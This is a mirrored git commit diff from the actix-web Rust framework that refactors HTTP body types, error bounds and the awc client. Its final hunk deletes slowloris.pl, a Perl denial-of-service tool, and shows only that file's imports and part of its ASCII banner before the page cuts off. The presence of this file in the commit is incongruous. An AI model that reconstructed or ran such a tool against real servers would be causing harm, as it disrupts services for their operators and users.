mirror of https://github.com/fafhrd91/actix-web
clean up http and awc
This commit is contained in:
parent
3cb71bb50c
commit
d1552235da
|
@ -4,6 +4,7 @@
|
||||||
### Added
|
### Added
|
||||||
* Methods on `AcceptLanguage`: `ranked` and `preference`. [#2480]
|
* Methods on `AcceptLanguage`: `ranked` and `preference`. [#2480]
|
||||||
* `AcceptEncoding` typed header. [#2482]
|
* `AcceptEncoding` typed header. [#2482]
|
||||||
|
* `HttpResponse::map_into_{left,right}_body`. [#2468]
|
||||||
* `HttpResponse::map_into_boxed_body`. [#2468]
|
* `HttpResponse::map_into_boxed_body`. [#2468]
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
|
|
|
@ -10,10 +10,9 @@ use std::{
|
||||||
#[cfg(unix)]
|
#[cfg(unix)]
|
||||||
use std::os::unix::fs::MetadataExt;
|
use std::os::unix::fs::MetadataExt;
|
||||||
|
|
||||||
use actix_http::body;
|
|
||||||
use actix_service::{Service, ServiceFactory};
|
use actix_service::{Service, ServiceFactory};
|
||||||
use actix_web::{
|
use actix_web::{
|
||||||
body::BoxBody,
|
body::{self, BoxBody},
|
||||||
dev::{
|
dev::{
|
||||||
AppService, BodyEncoding, HttpServiceFactory, ResourceDef, ServiceRequest,
|
AppService, BodyEncoding, HttpServiceFactory, ResourceDef, ServiceRequest,
|
||||||
ServiceResponse, SizedStream,
|
ServiceResponse, SizedStream,
|
||||||
|
@ -114,6 +113,8 @@ pub(crate) use std::fs::File;
|
||||||
#[cfg(feature = "experimental-io-uring")]
|
#[cfg(feature = "experimental-io-uring")]
|
||||||
pub(crate) use tokio_uring::fs::File;
|
pub(crate) use tokio_uring::fs::File;
|
||||||
|
|
||||||
|
use super::chunked;
|
||||||
|
|
||||||
impl NamedFile {
|
impl NamedFile {
|
||||||
/// Creates an instance from a previously opened file.
|
/// Creates an instance from a previously opened file.
|
||||||
///
|
///
|
||||||
|
@ -417,7 +418,7 @@ impl NamedFile {
|
||||||
res.encoding(current_encoding);
|
res.encoding(current_encoding);
|
||||||
}
|
}
|
||||||
|
|
||||||
let reader = super::chunked::new_chunked_read(self.md.len(), 0, self.file);
|
let reader = chunked::new_chunked_read(self.md.len(), 0, self.file);
|
||||||
|
|
||||||
return res.streaming(reader);
|
return res.streaming(reader);
|
||||||
}
|
}
|
||||||
|
@ -534,7 +535,7 @@ impl NamedFile {
|
||||||
.map_into_boxed_body();
|
.map_into_boxed_body();
|
||||||
}
|
}
|
||||||
|
|
||||||
let reader = super::chunked::new_chunked_read(length, offset, self.file);
|
let reader = chunked::new_chunked_read(length, offset, self.file);
|
||||||
|
|
||||||
if offset != 0 || length != self.md.len() {
|
if offset != 0 || length != self.md.len() {
|
||||||
resp.status(StatusCode::PARTIAL_CONTENT);
|
resp.status(StatusCode::PARTIAL_CONTENT);
|
||||||
|
@ -599,7 +600,6 @@ impl DerefMut for NamedFile {
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Responder for NamedFile {
|
impl Responder for NamedFile {
|
||||||
// TODO: can be improved
|
|
||||||
type Body = BoxBody;
|
type Body = BoxBody;
|
||||||
|
|
||||||
fn respond_to(self, req: &HttpRequest) -> HttpResponse<Self::Body> {
|
fn respond_to(self, req: &HttpRequest) -> HttpResponse<Self::Body> {
|
||||||
|
|
|
@ -7,14 +7,21 @@
|
||||||
* `Response::map_into_boxed_body`. [#2468]
|
* `Response::map_into_boxed_body`. [#2468]
|
||||||
* `body::EitherBody` enum. [#2468]
|
* `body::EitherBody` enum. [#2468]
|
||||||
* `body::None` struct. [#2468]
|
* `body::None` struct. [#2468]
|
||||||
|
* Impl `MessageBody` for `bytestring::ByteString`. [#2468]
|
||||||
* `impl Clone for ws::HandshakeError`. [#2468]
|
* `impl Clone for ws::HandshakeError`. [#2468]
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
* Rename `body::BoxBody::{from_body => new}`. [#2468]
|
* Rename `body::BoxBody::{from_body => new}`. [#2468]
|
||||||
* Body type for `Responses` returned from `Response::{new, ok, etc...}` is now `BoxBody`. [#2468]
|
* Body type for `Responses` returned from `Response::{new, ok, etc...}` is now `BoxBody`. [#2468]
|
||||||
* The `Error` associated type on `MessageBody` type now requires `impl Error` (or similar). [#2468]
|
* The `Error` associated type on `MessageBody` type now requires `impl Error` (or similar). [#2468]
|
||||||
|
* Error types using in service builders now require `Into<Response<BoxBody>>`. [#2468]
|
||||||
|
* `From` implementations on error types now return a `Response<BoxBody>`. [#2468]
|
||||||
|
* `ResponseBuilder::body(B)` now returns `Response<EitherBody<B>>`. [#2468]
|
||||||
|
* `ResponseBuilder::finish()` now returns `Response<EitherBody<()>>`. [#2468]
|
||||||
|
|
||||||
### Removed
|
### Removed
|
||||||
|
* `ResponseBuilder::streaming`. [#2468]
|
||||||
|
* `impl Future` for `ResponseBuilder`. [#2468]
|
||||||
* Remove unnecessary `MessageBody` bound on types passed to `body::AnyBody::new`. [#2468]
|
* Remove unnecessary `MessageBody` bound on types passed to `body::AnyBody::new`. [#2468]
|
||||||
* Move `body::AnyBody` to `awc`. Replaced with `EitherBody` and `BoxBody`. [#2468]
|
* Move `body::AnyBody` to `awc`. Replaced with `EitherBody` and `BoxBody`. [#2468]
|
||||||
|
|
||||||
|
|
|
@ -20,6 +20,8 @@ pin_project! {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TODO: from_infallible method
|
||||||
|
|
||||||
impl<S, E> BodyStream<S>
|
impl<S, E> BodyStream<S>
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>>,
|
S: Stream<Item = Result<Bytes, E>>,
|
||||||
|
|
|
@ -17,6 +17,8 @@ use super::BodySize;
|
||||||
/// An interface types that can converted to bytes and used as response bodies.
|
/// An interface types that can converted to bytes and used as response bodies.
|
||||||
// TODO: examples
|
// TODO: examples
|
||||||
pub trait MessageBody {
|
pub trait MessageBody {
|
||||||
|
// TODO: consider this bound to only fmt::Display since the error type is not really used
|
||||||
|
// and there is an impl for Into<Box<StdError>> on String
|
||||||
type Error: Into<Box<dyn StdError>>;
|
type Error: Into<Box<dyn StdError>>;
|
||||||
|
|
||||||
/// Body size hint.
|
/// Body size hint.
|
||||||
|
@ -35,10 +37,12 @@ mod foreign_impls {
|
||||||
impl MessageBody for Infallible {
|
impl MessageBody for Infallible {
|
||||||
type Error = Infallible;
|
type Error = Infallible;
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn size(&self) -> BodySize {
|
fn size(&self) -> BodySize {
|
||||||
match *self {}
|
match *self {}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn poll_next(
|
fn poll_next(
|
||||||
self: Pin<&mut Self>,
|
self: Pin<&mut Self>,
|
||||||
_cx: &mut Context<'_>,
|
_cx: &mut Context<'_>,
|
||||||
|
@ -50,10 +54,12 @@ mod foreign_impls {
|
||||||
impl MessageBody for () {
|
impl MessageBody for () {
|
||||||
type Error = Infallible;
|
type Error = Infallible;
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn size(&self) -> BodySize {
|
fn size(&self) -> BodySize {
|
||||||
BodySize::Sized(0)
|
BodySize::Sized(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn poll_next(
|
fn poll_next(
|
||||||
self: Pin<&mut Self>,
|
self: Pin<&mut Self>,
|
||||||
_cx: &mut Context<'_>,
|
_cx: &mut Context<'_>,
|
||||||
|
@ -68,10 +74,12 @@ mod foreign_impls {
|
||||||
{
|
{
|
||||||
type Error = B::Error;
|
type Error = B::Error;
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn size(&self) -> BodySize {
|
fn size(&self) -> BodySize {
|
||||||
self.as_ref().size()
|
self.as_ref().size()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn poll_next(
|
fn poll_next(
|
||||||
self: Pin<&mut Self>,
|
self: Pin<&mut Self>,
|
||||||
cx: &mut Context<'_>,
|
cx: &mut Context<'_>,
|
||||||
|
@ -86,10 +94,12 @@ mod foreign_impls {
|
||||||
{
|
{
|
||||||
type Error = B::Error;
|
type Error = B::Error;
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn size(&self) -> BodySize {
|
fn size(&self) -> BodySize {
|
||||||
self.as_ref().size()
|
self.as_ref().size()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn poll_next(
|
fn poll_next(
|
||||||
mut self: Pin<&mut Self>,
|
mut self: Pin<&mut Self>,
|
||||||
cx: &mut Context<'_>,
|
cx: &mut Context<'_>,
|
||||||
|
|
|
@ -10,26 +10,30 @@ use super::{BodySize, MessageBody};
|
||||||
|
|
||||||
/// Body type for responses that forbid payloads.
|
/// Body type for responses that forbid payloads.
|
||||||
///
|
///
|
||||||
/// Distinct from an empty response which would contain Content-Length header.
|
/// Distinct from an empty response which would contain a Content-Length header.
|
||||||
///
|
///
|
||||||
/// For an "empty" body, use `()` or `Bytes::new()`.
|
/// For an "empty" body, use `()` or `Bytes::new()`.
|
||||||
#[derive(Debug, Clone, Copy, Default)]
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
pub struct None(());
|
#[non_exhaustive]
|
||||||
|
pub struct None;
|
||||||
|
|
||||||
impl None {
|
impl None {
|
||||||
/// Constructs new "none" body.
|
/// Constructs new "none" body.
|
||||||
|
#[inline]
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
None(())
|
None
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl MessageBody for None {
|
impl MessageBody for None {
|
||||||
type Error = Infallible;
|
type Error = Infallible;
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn size(&self) -> BodySize {
|
fn size(&self) -> BodySize {
|
||||||
BodySize::None
|
BodySize::None
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
fn poll_next(
|
fn poll_next(
|
||||||
self: Pin<&mut Self>,
|
self: Pin<&mut Self>,
|
||||||
_cx: &mut Context<'_>,
|
_cx: &mut Context<'_>,
|
||||||
|
|
|
@ -32,6 +32,8 @@ where
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TODO: from_infallible method
|
||||||
|
|
||||||
impl<S, E> MessageBody for SizedStream<S>
|
impl<S, E> MessageBody for SizedStream<S>
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>>,
|
S: Stream<Item = Result<Bytes, E>>,
|
||||||
|
|
|
@ -75,6 +75,9 @@ impl<B: MessageBody> Encoder<B> {
|
||||||
BodySize::Sized(_) | BodySize::Stream => {}
|
BodySize::Sized(_) | BodySize::Stream => {}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TODO potentially some optimisation for single-chunk responses here by trying to read the
|
||||||
|
// payload eagerly, stopping after 2 polls if the first is a chunk and the second is None
|
||||||
|
|
||||||
if can_encode {
|
if can_encode {
|
||||||
// Modify response body only if encoder is set
|
// Modify response body only if encoder is set
|
||||||
if let Some(enc) = ContentEncoder::encoder(encoding) {
|
if let Some(enc) = ContentEncoder::encoder(encoding) {
|
||||||
|
@ -103,10 +106,6 @@ pin_project! {
|
||||||
#[project = EncoderBodyProj]
|
#[project = EncoderBodyProj]
|
||||||
enum EncoderBody<B> {
|
enum EncoderBody<B> {
|
||||||
None,
|
None,
|
||||||
|
|
||||||
// TODO: this variant is not used but RA can't see it because of macro wrapper
|
|
||||||
Bytes { body: Bytes },
|
|
||||||
|
|
||||||
Stream { #[pin] body: B },
|
Stream { #[pin] body: B },
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -120,7 +119,6 @@ where
|
||||||
fn size(&self) -> BodySize {
|
fn size(&self) -> BodySize {
|
||||||
match self {
|
match self {
|
||||||
EncoderBody::None => BodySize::None,
|
EncoderBody::None => BodySize::None,
|
||||||
EncoderBody::Bytes { body } => body.size(),
|
|
||||||
EncoderBody::Stream { body } => body.size(),
|
EncoderBody::Stream { body } => body.size(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -132,13 +130,6 @@ where
|
||||||
match self.project() {
|
match self.project() {
|
||||||
EncoderBodyProj::None => Poll::Ready(None),
|
EncoderBodyProj::None => Poll::Ready(None),
|
||||||
|
|
||||||
EncoderBodyProj::Bytes { body } => {
|
|
||||||
if body.is_empty() {
|
|
||||||
Poll::Ready(None)
|
|
||||||
} else {
|
|
||||||
Poll::Ready(Some(Ok(std::mem::take(body))))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
EncoderBodyProj::Stream { body } => body
|
EncoderBodyProj::Stream { body } => body
|
||||||
.poll_next(cx)
|
.poll_next(cx)
|
||||||
.map_err(|err| EncoderError::Body(err.into())),
|
.map_err(|err| EncoderError::Body(err.into())),
|
||||||
|
|
|
@ -10,6 +10,9 @@ mod encoder;
|
||||||
pub use self::decoder::Decoder;
|
pub use self::decoder::Decoder;
|
||||||
pub use self::encoder::Encoder;
|
pub use self::encoder::Encoder;
|
||||||
|
|
||||||
|
/// Special-purpose writer for streaming (de-)compression.
|
||||||
|
///
|
||||||
|
/// Pre-allocates 8KiB of capacity.
|
||||||
pub(self) struct Writer {
|
pub(self) struct Writer {
|
||||||
buf: BytesMut,
|
buf: BytesMut,
|
||||||
}
|
}
|
||||||
|
|
|
@ -68,6 +68,7 @@ impl Error {
|
||||||
|
|
||||||
impl From<Error> for Response<BoxBody> {
|
impl From<Error> for Response<BoxBody> {
|
||||||
fn from(err: Error) -> Self {
|
fn from(err: Error) -> Self {
|
||||||
|
// TODO: more appropriate error status codes, usage assessment needed
|
||||||
let status_code = match err.inner.kind {
|
let status_code = match err.inner.kind {
|
||||||
Kind::Parse => StatusCode::BAD_REQUEST,
|
Kind::Parse => StatusCode::BAD_REQUEST,
|
||||||
_ => StatusCode::INTERNAL_SERVER_ERROR,
|
_ => StatusCode::INTERNAL_SERVER_ERROR,
|
||||||
|
|
|
@ -1035,7 +1035,6 @@ mod tests {
|
||||||
|
|
||||||
use super::*;
|
use super::*;
|
||||||
use crate::{
|
use crate::{
|
||||||
body::BoxBody,
|
|
||||||
error::Error,
|
error::Error,
|
||||||
h1::{ExpectHandler, UpgradeHandler},
|
h1::{ExpectHandler, UpgradeHandler},
|
||||||
http::Method,
|
http::Method,
|
||||||
|
@ -1059,13 +1058,15 @@ mod tests {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn ok_service() -> impl Service<Request, Response = Response<BoxBody>, Error = Error>
|
fn ok_service(
|
||||||
|
) -> impl Service<Request, Response = Response<impl MessageBody>, Error = Error>
|
||||||
{
|
{
|
||||||
fn_service(|_req: Request| ready(Ok::<_, Error>(Response::ok())))
|
fn_service(|_req: Request| ready(Ok::<_, Error>(Response::ok())))
|
||||||
}
|
}
|
||||||
|
|
||||||
fn echo_path_service(
|
fn echo_path_service(
|
||||||
) -> impl Service<Request, Response = Response<Bytes>, Error = Error> {
|
) -> impl Service<Request, Response = Response<impl MessageBody>, Error = Error>
|
||||||
|
{
|
||||||
fn_service(|req: Request| {
|
fn_service(|req: Request| {
|
||||||
let path = req.path().as_bytes();
|
let path = req.path().as_bytes();
|
||||||
ready(Ok::<_, Error>(
|
ready(Ok::<_, Error>(
|
||||||
|
|
|
@ -2,15 +2,11 @@
|
||||||
|
|
||||||
use std::{
|
use std::{
|
||||||
cell::{Ref, RefMut},
|
cell::{Ref, RefMut},
|
||||||
fmt,
|
fmt, str,
|
||||||
future::Future,
|
|
||||||
pin::Pin,
|
|
||||||
str,
|
|
||||||
task::{Context, Poll},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use crate::{
|
use crate::{
|
||||||
body::{BoxBody, EitherBody, MessageBody},
|
body::{EitherBody, MessageBody},
|
||||||
error::{Error, HttpError},
|
error::{Error, HttpError},
|
||||||
header::{self, IntoHeaderPair, IntoHeaderValue},
|
header::{self, IntoHeaderPair, IntoHeaderValue},
|
||||||
message::{BoxedResponseHead, ConnectionType, ResponseHead},
|
message::{BoxedResponseHead, ConnectionType, ResponseHead},
|
||||||
|
@ -315,14 +311,6 @@ impl<'a> From<&'a ResponseHead> for ResponseBuilder {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Future for ResponseBuilder {
|
|
||||||
type Output = Result<Response<BoxBody>, Error>;
|
|
||||||
|
|
||||||
fn poll(mut self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll<Self::Output> {
|
|
||||||
Poll::Ready(Ok(self.finish().map_into_boxed_body()))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl fmt::Debug for ResponseBuilder {
|
impl fmt::Debug for ResponseBuilder {
|
||||||
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
let head = self.head.as_ref().unwrap();
|
let head = self.head.as_ref().unwrap();
|
||||||
|
@ -372,7 +360,7 @@ mod tests {
|
||||||
#[test]
|
#[test]
|
||||||
fn test_force_close() {
|
fn test_force_close() {
|
||||||
let resp = Response::build(StatusCode::OK).force_close().finish();
|
let resp = Response::build(StatusCode::OK).force_close().finish();
|
||||||
assert!(!resp.keep_alive())
|
assert!(!resp.keep_alive());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
@ -380,7 +368,15 @@ mod tests {
|
||||||
let resp = Response::build(StatusCode::OK)
|
let resp = Response::build(StatusCode::OK)
|
||||||
.content_type("text/plain")
|
.content_type("text/plain")
|
||||||
.body(Bytes::new());
|
.body(Bytes::new());
|
||||||
assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain")
|
assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain");
|
||||||
|
|
||||||
|
let resp = Response::build(StatusCode::OK)
|
||||||
|
.content_type(mime::APPLICATION_JAVASCRIPT_UTF_8)
|
||||||
|
.body(Bytes::new());
|
||||||
|
assert_eq!(
|
||||||
|
resp.headers().get(CONTENT_TYPE).unwrap(),
|
||||||
|
"application/javascript; charset=utf-8"
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|
|
@ -78,7 +78,7 @@ async fn test_with_credentials() {
|
||||||
match srv.ws().await {
|
match srv.ws().await {
|
||||||
Ok(_) => panic!("WebSocket client without credentials should panic"),
|
Ok(_) => panic!("WebSocket client without credentials should panic"),
|
||||||
Err(awc::error::WsClientError::InvalidResponseStatus(status)) => {
|
Err(awc::error::WsClientError::InvalidResponseStatus(status)) => {
|
||||||
assert_eq!(status, StatusCode::UNAUTHORIZED)
|
assert_eq!(status, StatusCode::UNAUTHORIZED);
|
||||||
}
|
}
|
||||||
Err(e) => panic!("Invalid error from WebSocket client: {}", e),
|
Err(e) => panic!("Invalid error from WebSocket client: {}", e),
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
use std::{
|
use std::{
|
||||||
borrow::Cow,
|
borrow::Cow,
|
||||||
error::Error as StdError,
|
|
||||||
fmt, mem,
|
fmt, mem,
|
||||||
pin::Pin,
|
pin::Pin,
|
||||||
task::{Context, Poll},
|
task::{Context, Poll},
|
||||||
|
@ -12,6 +11,8 @@ use pin_project_lite::pin_project;
|
||||||
|
|
||||||
use actix_http::body::{BodySize, BodyStream, BoxBody, MessageBody, SizedStream};
|
use actix_http::body::{BodySize, BodyStream, BoxBody, MessageBody, SizedStream};
|
||||||
|
|
||||||
|
use crate::BoxError;
|
||||||
|
|
||||||
pin_project! {
|
pin_project! {
|
||||||
/// Represents various types of HTTP message body.
|
/// Represents various types of HTTP message body.
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
|
@ -209,40 +210,20 @@ impl<B> From<BytesMut> for AnyBody<B> {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<S, E> From<SizedStream<S>> for AnyBody<SizedStream<S>>
|
|
||||||
where
|
|
||||||
S: Stream<Item = Result<Bytes, E>> + 'static,
|
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
|
||||||
{
|
|
||||||
fn from(stream: SizedStream<S>) -> Self {
|
|
||||||
AnyBody::new(stream)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl<S, E> From<SizedStream<S>> for AnyBody
|
impl<S, E> From<SizedStream<S>> for AnyBody
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + 'static,
|
S: Stream<Item = Result<Bytes, E>> + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
fn from(stream: SizedStream<S>) -> Self {
|
fn from(stream: SizedStream<S>) -> Self {
|
||||||
AnyBody::new_boxed(stream)
|
AnyBody::new_boxed(stream)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<S, E> From<BodyStream<S>> for AnyBody<BodyStream<S>>
|
|
||||||
where
|
|
||||||
S: Stream<Item = Result<Bytes, E>> + 'static,
|
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
|
||||||
{
|
|
||||||
fn from(stream: BodyStream<S>) -> Self {
|
|
||||||
AnyBody::new(stream)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl<S, E> From<BodyStream<S>> for AnyBody
|
impl<S, E> From<BodyStream<S>> for AnyBody
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + 'static,
|
S: Stream<Item = Result<Bytes, E>> + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
fn from(stream: BodyStream<S>) -> Self {
|
fn from(stream: BodyStream<S>) -> Self {
|
||||||
AnyBody::new_boxed(stream)
|
AnyBody::new_boxed(stream)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
use std::{error::Error as StdError, fmt, io};
|
use std::{fmt, io};
|
||||||
|
|
||||||
use derive_more::{Display, From};
|
use derive_more::{Display, From};
|
||||||
|
|
||||||
|
@ -122,7 +122,7 @@ pub enum SendRequestError {
|
||||||
|
|
||||||
/// Other errors that can occur after submitting a request.
|
/// Other errors that can occur after submitting a request.
|
||||||
#[display(fmt = "{:?}: {}", _1, _0)]
|
#[display(fmt = "{:?}: {}", _1, _0)]
|
||||||
Custom(Box<dyn StdError>, Box<dyn fmt::Debug>),
|
Custom(BoxError, Box<dyn fmt::Debug>),
|
||||||
}
|
}
|
||||||
|
|
||||||
impl std::error::Error for SendRequestError {}
|
impl std::error::Error for SendRequestError {}
|
||||||
|
@ -141,7 +141,7 @@ pub enum FreezeRequestError {
|
||||||
|
|
||||||
/// Other errors that can occur after submitting a request.
|
/// Other errors that can occur after submitting a request.
|
||||||
#[display(fmt = "{:?}: {}", _1, _0)]
|
#[display(fmt = "{:?}: {}", _1, _0)]
|
||||||
Custom(Box<dyn StdError>, Box<dyn fmt::Debug>),
|
Custom(BoxError, Box<dyn fmt::Debug>),
|
||||||
}
|
}
|
||||||
|
|
||||||
impl std::error::Error for FreezeRequestError {}
|
impl std::error::Error for FreezeRequestError {}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
use std::{convert::TryFrom, error::Error as StdError, net, rc::Rc, time::Duration};
|
use std::{convert::TryFrom, net, rc::Rc, time::Duration};
|
||||||
|
|
||||||
use bytes::Bytes;
|
use bytes::Bytes;
|
||||||
use futures_core::Stream;
|
use futures_core::Stream;
|
||||||
|
@ -12,7 +12,7 @@ use actix_http::{
|
||||||
use crate::{
|
use crate::{
|
||||||
any_body::AnyBody,
|
any_body::AnyBody,
|
||||||
sender::{RequestSender, SendClientRequest},
|
sender::{RequestSender, SendClientRequest},
|
||||||
ClientConfig,
|
BoxError, ClientConfig,
|
||||||
};
|
};
|
||||||
|
|
||||||
/// `FrozenClientRequest` struct represents cloneable client request.
|
/// `FrozenClientRequest` struct represents cloneable client request.
|
||||||
|
@ -82,7 +82,7 @@ impl FrozenClientRequest {
|
||||||
pub fn send_stream<S, E>(&self, stream: S) -> SendClientRequest
|
pub fn send_stream<S, E>(&self, stream: S) -> SendClientRequest
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
RequestSender::Rc(self.head.clone(), None).send_stream(
|
RequestSender::Rc(self.head.clone(), None).send_stream(
|
||||||
self.addr,
|
self.addr,
|
||||||
|
@ -207,7 +207,7 @@ impl FrozenSendBuilder {
|
||||||
pub fn send_stream<S, E>(self, stream: S) -> SendClientRequest
|
pub fn send_stream<S, E>(self, stream: S) -> SendClientRequest
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
if let Some(e) = self.err {
|
if let Some(e) = self.err {
|
||||||
return e.into();
|
return e.into();
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
use std::{convert::TryFrom, error::Error as StdError, fmt, net, rc::Rc, time::Duration};
|
use std::{convert::TryFrom, fmt, net, rc::Rc, time::Duration};
|
||||||
|
|
||||||
use bytes::Bytes;
|
use bytes::Bytes;
|
||||||
use futures_core::Stream;
|
use futures_core::Stream;
|
||||||
|
@ -17,7 +17,7 @@ use crate::{
|
||||||
error::{FreezeRequestError, InvalidUrl},
|
error::{FreezeRequestError, InvalidUrl},
|
||||||
frozen::FrozenClientRequest,
|
frozen::FrozenClientRequest,
|
||||||
sender::{PrepForSendingError, RequestSender, SendClientRequest},
|
sender::{PrepForSendingError, RequestSender, SendClientRequest},
|
||||||
ClientConfig,
|
BoxError, ClientConfig,
|
||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(feature = "cookies")]
|
#[cfg(feature = "cookies")]
|
||||||
|
@ -405,7 +405,7 @@ impl ClientRequest {
|
||||||
pub fn send_stream<S, E>(self, stream: S) -> SendClientRequest
|
pub fn send_stream<S, E>(self, stream: S) -> SendClientRequest
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
let slf = match self.prep_for_sending() {
|
let slf = match self.prep_for_sending() {
|
||||||
Ok(slf) => slf,
|
Ok(slf) => slf,
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
use std::{
|
use std::{
|
||||||
error::Error as StdError,
|
|
||||||
future::Future,
|
future::Future,
|
||||||
net,
|
net,
|
||||||
pin::Pin,
|
pin::Pin,
|
||||||
|
@ -28,7 +27,7 @@ use actix_http::{encoding::Decoder, http::header::ContentEncoding, Payload, Payl
|
||||||
use crate::{
|
use crate::{
|
||||||
any_body::AnyBody,
|
any_body::AnyBody,
|
||||||
error::{FreezeRequestError, InvalidUrl, SendRequestError},
|
error::{FreezeRequestError, InvalidUrl, SendRequestError},
|
||||||
ClientConfig, ClientResponse, ConnectRequest, ConnectResponse,
|
BoxError, ClientConfig, ClientResponse, ConnectRequest, ConnectResponse,
|
||||||
};
|
};
|
||||||
|
|
||||||
#[derive(Debug, From)]
|
#[derive(Debug, From)]
|
||||||
|
@ -278,7 +277,7 @@ impl RequestSender {
|
||||||
) -> SendClientRequest
|
) -> SendClientRequest
|
||||||
where
|
where
|
||||||
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
S: Stream<Item = Result<Bytes, E>> + Unpin + 'static,
|
||||||
E: Into<Box<dyn StdError>> + 'static,
|
E: Into<BoxError> + 'static,
|
||||||
{
|
{
|
||||||
self.send_body(
|
self.send_body(
|
||||||
addr,
|
addr,
|
||||||
|
|
463
slowloris.pl
463
slowloris.pl
|
@ -1,463 +0,0 @@
|
||||||
#!/usr/bin/perl -w
|
|
||||||
use strict;
|
|
||||||
use IO::Socket::INET;
|
|
||||||
use IO::Socket::SSL;
|
|
||||||
use Getopt::Long;
|
|
||||||
use Config;
|
|
||||||
|
|
||||||
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
|
|
||||||
|
|
||||||
print <<EOTEXT;
|
|
||||||
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
|
|
||||||
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
|
|
||||||
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
|
|
||||||
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
|
|
||||||
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
|
|
||||||
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
|
|
||||||
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
|
|
||||||
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
|
|
